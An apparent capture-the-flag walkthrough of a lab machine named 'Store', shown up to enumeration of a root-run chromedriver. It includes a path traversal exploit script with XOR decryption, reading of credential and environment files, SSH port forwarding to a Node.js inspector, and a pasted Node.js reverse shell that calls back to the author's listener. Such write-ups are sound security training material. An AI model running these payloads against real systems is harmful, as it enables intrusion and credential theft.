Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ nmap -sC -sV -Pn 10.129.238.32 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-06 17:14 UTC
Nmap scan report for 10.129.238.32
Host is up (0.72s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 30:68:b8:a8:f5:47:ca:bf:1a:23:97:d5:4c:77:97:da (ECDSA)
|_ 256 3f:83:9f:53:0a:49:db:00:d5:18:85:e9:2f:05:76:dd (ED25519)
5000/tcp open http Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 01101001...
5001/tcp open http Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 01101001...
5002/tcp open http Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 01101001...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.11 seconds
TCP - 5000 Node.js
index page

We can try to upload a file and check it from list file page

Although we can get the upload path, but all the data is encrypted so we can't exploit it by upload vulnerable
I would continue to fuzz the valid web contents
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ ffuf -u http://10.129.238.32:5000/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.238.32:5000/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 1161, Words: 91, Lines: 1, Duration: 559ms]
css [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 267ms]
images [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 287ms]
list [Status: 200, Size: 771, Words: 43, Lines: 1, Duration: 558ms]
tmp [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 275ms]
upload [Status: 200, Size: 807, Words: 53, Lines: 1, Duration: 280ms]
:: Progress: [4614/4614] :: Job [1/1] :: 122 req/sec :: Duration: [0:00:35] :: Errors: 0 ::
tmpseems interesting, maybe it store the uploaded files
It worked
At /tmp/test.txt, there’s a file of the same length:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ cat test.txt
this is a test
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ cat upload.txt
<P E>0Yh\ ]
Now we can try to guess the encrypted algorithm
Given that the encrypted and plaintext files are the same length, it most likely uses a stream cipher. It might simply be a simple static XOR key. I will experiment with a longer file uploaded from a Python terminal:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ python3
Python 3.13.7 (main, Aug 20 2025, 22:17:40) [GCC 14.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import requests
>>> resp = requests.get('http://10.129.238.32:5000/tmp/wither_rose.png')
>>> enc = resp.content
>>> len(enc)
3895
>>> with open('/home/wither/Desktop/wither_rose.png', 'rb') as f:
... pt = f.read()
...
>>> len(pt)
3895
I’ll XOR the plaintext and the ciphertext to get a keystream:
>>> keystream = [c ^ p for c, p in zip(enc, pt)]
>>> keystream[:100]
[72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72, 109, 57, 122, 101, 87, 67, 51, 56, 72]
It certainly looks like a pattern! It’s even all ASCII:
>>> ''.join([chr(x) for x in keystream[:40]])
'Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9z'
Now we can try to verify from another test file
>>> resp = requests.get('http://10.129.238.32:5000/tmp/test.txt')
>>> enc = resp.content
>>> len(enc)
15
>>> ''.join(chr(e ^ k) for e, k in zip(enc, keystream))
'this is a test\n'
It looks like the same key is used for all files.
LFI vulnerable
To check directory traversal, I'll use the "LFI" dictionary from SecLists to examine /tmp and /file, since both directories might read files from the file system. No issues were found with /tmp, but issues were found with /file:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ feroxbuster -u http://10.129.238.32:5000/file/ -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -s 200
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.238.32:5000/file
🚩 In-Scope Url │ 10.129.238.32
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
👌 Status Codes │ [200]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 1l 30w 567c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 22l 186w 5593c http://10.129.238.32:5000/file/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
[####################] - 26s 933/933 0s found:1 errors:62
[####################] - 26s 930/930 36/s http://10.129.238.32:5000/file/
Now let's try to verify it from browser

We can use the key to decrypt that
>>> from base64 import b64decode
>>> enc = b64decode(b'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')
>>> ''.join(chr(e ^ k) for e, k in zip(enc, keystream))
'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:102:105::/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nsyslog:x:104:111::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:113::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:114::/nonexistent:/usr/sbin/nologin\nsshd:x:109:65534::/run/sshd:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nlandscape:x:111:116::/var/lib/landscape:/usr/sbin/nologin\nfwupd-refresh:x:112:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin\nec2-instance-connect:x:113:65534::/nonexistent:/usr/sbin/nologin\n_chrony:x:114:121:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin\nubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash\nlxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false\ndev:x:1001:1001:,,,:/home/dev:/bin/bash\nsftpuser:x:1002:1002:,,,:/home/sftpuser:/bin/false\n_laurel:x:998:998::/var/log/laurel:/bin/false\n'
We can try to use the python script to help us automatic that
import base64
import re
import requests
import sys
from itertools import cycle
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <host> <absolute path>")
sys.exit()
host = sys.argv[1]
enc_path = sys.argv[2].replace('/', '%2f')
try:
resp = requests.get(f'http://{host}:5000/file/..%2f..%2F..%2F..%2F..%2F..{enc_path}', timeout=0.5)
except requests.exceptions.ReadTimeout:
print("<File Not Found>")
sys.exit()
enc_b64 = re.search(
r'data:application/octet-stream;charset=utf-8;base64,(.+?)"',
resp.text
).group(1)
enc = base64.b64decode(enc_b64)
pt = ''.join(chr(e^k) for e, k in zip(enc, cycle(b"Hm9zeWC38")))
print(pt)
Now we can enumerate all the files what we want to visit
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ python3 file_read.py 10.129.238.32 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
landscape:x:111:116::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
ec2-instance-connect:x:113:65534::/nonexistent:/usr/sbin/nologin
_chrony:x:114:121:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dev:x:1001:1001:,,,:/home/dev:/bin/bash
sftpuser:x:1002:1002:,,,:/home/sftpuser:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
Continue using /proc/self/environ to view the environment variables in the current process.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ python3 file_read.py 10.129.238.32 /proc/self/environ | tr '\00' '\n'
USER=dev
npm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
npm_node_execpath=/usr/bin/node
npm_config_noproxy=
HOME=/home/dev
npm_package_json=/home/dev/projects/store1/package.json
npm_config_userconfig=/home/dev/.npmrc
npm_config_local_prefix=/home/dev/projects/store1
SYSTEMD_EXEC_PID=841
COLOR=0
npm_config_metrics_registry=https://registry.npmjs.org/
LOGNAME=dev
JOURNAL_STREAM=8:6217
npm_config_prefix=/usr/local
npm_config_cache=/home/dev/.npm
npm_config_node_gyp=/usr/share/nodejs/node-gyp/bin/node-gyp.js
PATH=/home/dev/projects/store1/node_modules/.bin:/home/dev/projects/store1/node_modules/.bin:/home/dev/projects/node_modules/.bin:/home/dev/node_modules/.bin:/home/node_modules/.bin:/node_modules/.bin:/usr/share/nodejs/@npmcli/run-script/lib/node-gyp-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
INVOCATION_ID=4abbfc48b5e44622bb0ac38ca33addb7
NODE=/usr/bin/node
LANG=C.UTF-8
npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'
SHELL=/bin/bash
npm_lifecycle_event=watch
npm_config_globalconfig=/etc/npmrc
npm_config_init_module=/home/dev/.npm-init.js
npm_config_globalignorefile=/etc/npmignore
npm_execpath=/usr/share/nodejs/npm/bin/npm-cli.js
PWD=/home/dev/projects/store1
npm_config_global_prefix=/usr/local
npm_command=run-script
INIT_CWD=/home/dev/projects/store1
EDITOR=vi
It runs as a developer user, and npm_lifecycle_script looks like a script that starts a web server, which can be confirmed by reading /proc/self/cmdline.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ python3 file_read.py 10.129.238.32 /proc/self/cmdline | tr '\00' ' '
node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js
Now we can try to review the source code of start.js
require('dotenv').config();
const app = require('./app');
const server = app.listen(process.env.PORT, () => {
console.log(`Express is running on port ${server.address().port}`);
});
The dotenv package reads environment variables from the .env file in the same directory.
Let's check what is inside
SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost
SECRET=Hm9zeWC38
STORE_HOME=/home/dev/projects/store1
PORT=5000
We can get a credit of sftp, but from nmap output before, I don't think we can't visit the service, so I guess that would be a ssh credit maybe?
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ netexec ssh 10.129.238.32 -u sftpuser -p WidK52pWBtWQdcVC
SSH 10.129.238.32 22 10.129.238.32 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH 10.129.238.32 22 10.129.238.32 [+] sftpuser:WidK52pWBtWQdcVC Linux - Shell access!
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ ssh sftpuser@10.129.238.32
The authenticity of host '10.129.238.32 (10.129.238.32)' can't be established.
ED25519 key fingerprint is SHA256:MwKYyiZT4gAZ35VHTeZ0760cn1Fe7QFCFllCxBST4rA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.238.32' (ED25519) to the list of known hosts.
(sftpuser@10.129.238.32) Password:
This service allows sftp connections only.
Connection to 10.129.238.32 closed.
The connection was canceled and tip us only sftp connections.
Let's try it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ sftp sftpuser@10.129.238.32
(sftpuser@10.129.238.32) Password:
Connected to 10.129.238.32.
sftp> ls
files
sftp> cd files
sftp> ls
test.txt wither_rose.png
sftp> ls -al
drwxr-xr-x 2 1002 1002 4096 Nov 6 06:33 .
drwxr-xr-x 3 root root 4096 Feb 13 2023 ..
-rw-rw-rw- 1 1002 1002 15 Nov 6 06:33 test.txt
-rw-rw-rw- 1 1002 1002 3895 Nov 6 06:21 wither_rose.png
But nothing interesting here, I can't find any hints.
I would continue to check the key reason why ssh connection canceled, I’ll read /etc/ssh/sshd_config:
/etc/ssh/sshd_config
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
Include /etc/ssh/sshd_config.d/*.conf
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
# Ciphers and keying
#RekeyLimit default none
# Logging
#SyslogFacility AUTH
#LogLevel INFO
# Authentication:
#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
#PubkeyAuthentication yes
# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
#AuthorizedPrincipalsFile none
#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes
# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication yes
#PermitEmptyPasswords no
# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
KbdInteractiveAuthentication yes
# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no
# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the KbdInteractiveAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via KbdInteractiveAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and KbdInteractiveAuthentication to 'no'.
UsePAM yes
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none
# no default banner path
#Banner none
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
# override default of no subsystems
Subsystem sftp /usr/lib/openssh/sftp-server
# Example of overriding settings on a per-user basis
#Match User anoncvs
# X11Forwarding no
# AllowTcpForwarding no
# PermitTTY no
# ForceCommand cvs server
Match User sftpuser
ForceCommand internal-sftp
PasswordAuthentication yes
ChrootDirectory /var/sftp
AllowAgentForwarding no
X11Forwarding no
At the end, it defines the config for the sftpuser. It forces SFTP only for commands, but doesn’t disable AllowTcpForwarding
Tunnel
Now let's tunnel it
We have known The web server is running using the command line: node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js.
So port 9229 would be our target
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ ssh sftpuser@10.129.238.32 -N -L 9229:127.0.0.1:9229
We can find that WebSockets request was expected

The --inspect flag indicates that V8 Inspector is running and listening on this network interface/port, thus allowing debugging of JS applications.
To interact with it, I’ll open Chromium and go to chrome://inspect. Without the tunnel, it looks like this:

Clicking “inspect” opens a Chromium dev tools window with a limited set of tabs:

There’s a bunch of errors in the console. More importantly, I can run arbitrary JavaScript commands
I’ll grab “node.js #2” from revshells.com and paste it into the console:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/bash", []);
var client = new net.Socket();
client.connect(443, "10.10.17.50", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
Or you can try to use vscode to help you get the debug console
The detail you can see from xct``youtube vedio
https://www.youtube.com/watch?v=jMrkjWD99VA
Then we can get the connection from nc
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.238.32 46772
whoami
dev
We can try to upgrade the shell
upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg
Privilege Escalation
In the user’s home directory, inside projects, there are three directories:
dev@store:~/projects$ ls
store1 store2 store3
In /opt there’s a Google Chrome installation:
dev@store:/$ ls opt/google/
chrome
dev@store:/$ ls opt/google/chrome/
MEIPreload chrome-sandbox cron icudtl.dat libqt5_shim.so nacl_helper product_logo_16.png product_logo_32.xpm v8_context_snapshot.bin
WidevineCdm chrome_100_percent.pak default-app-block libEGL.so libvk_swiftshader.so nacl_helper_bootstrap product_logo_24.png product_logo_48.png vk_swiftshader_icd.json
chrome chrome_200_percent.pak default_apps libGLESv2.so libvulkan.so.1 nacl_irt_x86_64.nexe product_logo_256.png product_logo_64.png xdg-mime
chrome-management-service chrome_crashpad_handler google-chrome liboptimization_guide_internal.so locales product_logo_128.png product_logo_32.png resources.pak xdg-settings
This is interesting as it typically on CTF machines shows some kind of automated user. chromedriver is running as root:
dev@store:~$ ps auxww | grep -i chrome
root 737 0.0 0.3 33612408 12800 ? Ssl 12:07 0:00 /root/chromedriver
By checking the netstate, we can also find something interesting here
dev@store:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9230 0.0.0.0:* LISTEN 1014/node
tcp 0 0 127.0.0.1:9231 0.0.0.0:* LISTEN 1016/node
tcp 0 0 127.0.0.1:9229 0.0.0.0:* LISTEN 1025/node
tcp 0 0 127.0.0.1:9515 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::5002 :::* LISTEN 1016/node
tcp6 0 0 :::5000 :::* LISTEN 1025/node
tcp6 0 0 :::5001 :::* LISTEN 1014/node
tcp6 0 0 ::1:9515 :::* LISTEN -
127.0.0.1:9515seems like our next target
That’s the default Chrome debug port. Fetching it with curl shows a bunch of errors:
dev@store:~$ curl 127.0.0.1:9515
{"value":{"error":"unknown command","message":"unknown command: unknown command: ","stacktrace":"#0 0x5a6de002ad93 \u003Cunknown>\n#1 0x5a6ddfdf92d7 \u003Cunknown>\n#2 0x5a6ddfe54f2c \u003Cunknown>\n#3 0x5a6ddfe54b82 \u003Cunknown>\n#4 0x5a6ddfdca2a3 \u003Cunknown>\n#5 0x5a6de007e8be \u003Cunknown>\n#6 0x5a6de00828f0 \u003Cunknown>\n#7 0x5a6de0062f90 \u003Cunknown>\n#8 0x5a6de0083b7d \u003Cunknown>\n#9 0x5a6de0054578 \u003Cunknown>\n#10 0x5a6ddfdc86ee \u003Cunknown>\n#11 0x79c371429d90 \u003Cunknown>\n"}}
/status will show the current status:
dev@store:~$ curl 127.0.0.1:9515/status
{"value":{"build":{"version":"110.0.5481.77 (65ed616c6e8ee3fe0ad64fe83796c020644d42af-refs/branch-heads/5481@{#839})"},"message":"ChromeDriver ready for new sessions.","os":{"arch":"x86_64","name":"Linux","version":"6.8.0-1040-aws"},"ready":true}}
/sessions shows no active sessions:
dev@store:~$ curl 127.0.0.1:9515/sessions
